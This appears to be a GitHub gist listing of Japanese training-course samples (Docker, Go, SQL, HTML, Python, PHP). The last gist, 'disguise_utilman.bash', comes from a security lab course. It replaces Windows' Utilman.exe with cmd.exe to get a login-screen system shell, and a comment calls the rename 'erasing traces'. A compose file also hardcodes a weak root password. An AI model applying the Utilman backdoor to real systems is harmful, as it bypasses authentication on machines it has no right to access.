Skip to content

Instantly share code, notes, and snippets.

View sezemiadmin's full-sized avatar

toshiyahirose sezemiadmin

View GitHub Profile
@sezemiadmin
sezemiadmin / dockerfile
Last active November 22, 2018 09:05
比べて学ぶ仮想マシンとコンテナ サンプル dockerfile
FROM centos
MAINTAINER yourname
RUN yum -y install httpd
RUN yum clean all
RUN sed -i -e \
"s/#ServerName www\.example\.com:80/ServerName www.example.com:80/" \ 
/etc/httpd/conf/httpd.conf
@sezemiadmin
sezemiadmin / httpclient.go
Created November 28, 2018 06:44
はじめてのGo言語 SampleWebApp
package main
import (
"fmt"
"io"
"net/http"
)
func main() {
//GETでアクセスし、データを取得する
@sezemiadmin
sezemiadmin / docker-compose.yml
Created December 6, 2018 07:20
Docker を使ってみよう (スモールスタート編) のサンプル
mysql:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: P@ssw0rd
wordpress:
image: wordpress
links:
- mysql:mysql
ports:
- "8888:80"
@sezemiadmin
sezemiadmin / VariousORM.md
Last active December 14, 2018 11:50
はじめてのGo言語 サンプル
db.where("countrycode = ?", "?").Find(&countries)
// Laravel などのEloquent
App\Countries::where('countrycode', ?);
@sezemiadmin
sezemiadmin / grant.sql
Last active December 26, 2018 02:25
RDBMSの仕組み 超入門 サンプルSQL
grant [権限名]
on [スキーマ名].[テーブル名]
to [ユーザ名]
@sezemiadmin
sezemiadmin / bytea.sql
Last active February 26, 2019 13:34
今だから確認したDBセキュリティの基本のSQLサンプル
create table fruit2(id serial,name bytea); --bytea型はバイナリ型
/* データを fruit から fruit2 にコピーして、表示してみます。*/
select * from fruit2;
id | name
----+----------------
1 | \x6170706c65
2 | \x6f7261676e65
3 | \x7065616368
@sezemiadmin
sezemiadmin / audio-sample.html
Last active March 4, 2019 06:24
HTML5/CSS3で学ぶWebの基本と新技術 のサンプルコード
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>HTML5 audio</title>
</head>
<body>
<audio controls>
<source src="[ファイルパス/ファイル名]" type="audio/mpeg" />
<p>Your device does not support HTML5 audio.</p>
@sezemiadmin
sezemiadmin / boxplot.py
Last active March 5, 2019 07:43
Python を使ったデータサイエンス入門 サンプルコード
# 箱ひげ図の描画
# 品種ごとに萼片の長さを見比べる
data = [setosa.SepalLength, versicolor.SepalLength, virginica.SepalLength]
plt.boxplot(data) # 箱ひげ図の描画 boxplot()
plt.xlabel("Class") # x軸名
plt.ylabel("SepalLength") # y軸名
# 各品種のラベル
plt.setp(plt.gca(), xlabel=["setosa", "versicolor", "virginica"]) # ラベル付けは setp()
plt.show()
@sezemiadmin
sezemiadmin / Employee.php
Created March 18, 2019 06:40
1日で習得するPHP入門 サンプルコード
<?php
class Person {
private $name; // instance field
public function setName($name) { // instance method
$this->name = $name;
}
public function getName() { // instance method
return $this->name;
@sezemiadmin
sezemiadmin / disguise_utilman.bash
Created March 19, 2019 12:42
仮想環境で学ぶセキュリティ実践 のサンプル
sudo su
mount /dev/sda2 /mnt/ #sda2 は c:\Windows ディスク
cd /mnt/Windows/System32 #Windowsのディレクトリに移動
mv Utilman.exe Utiltman.exe.org #痕跡を消す
cp cmd.exe utilman.exe #cmd.exe を utilman.exe にコピー
cd /
umount /mnt #ディスクを切り替え
poweroff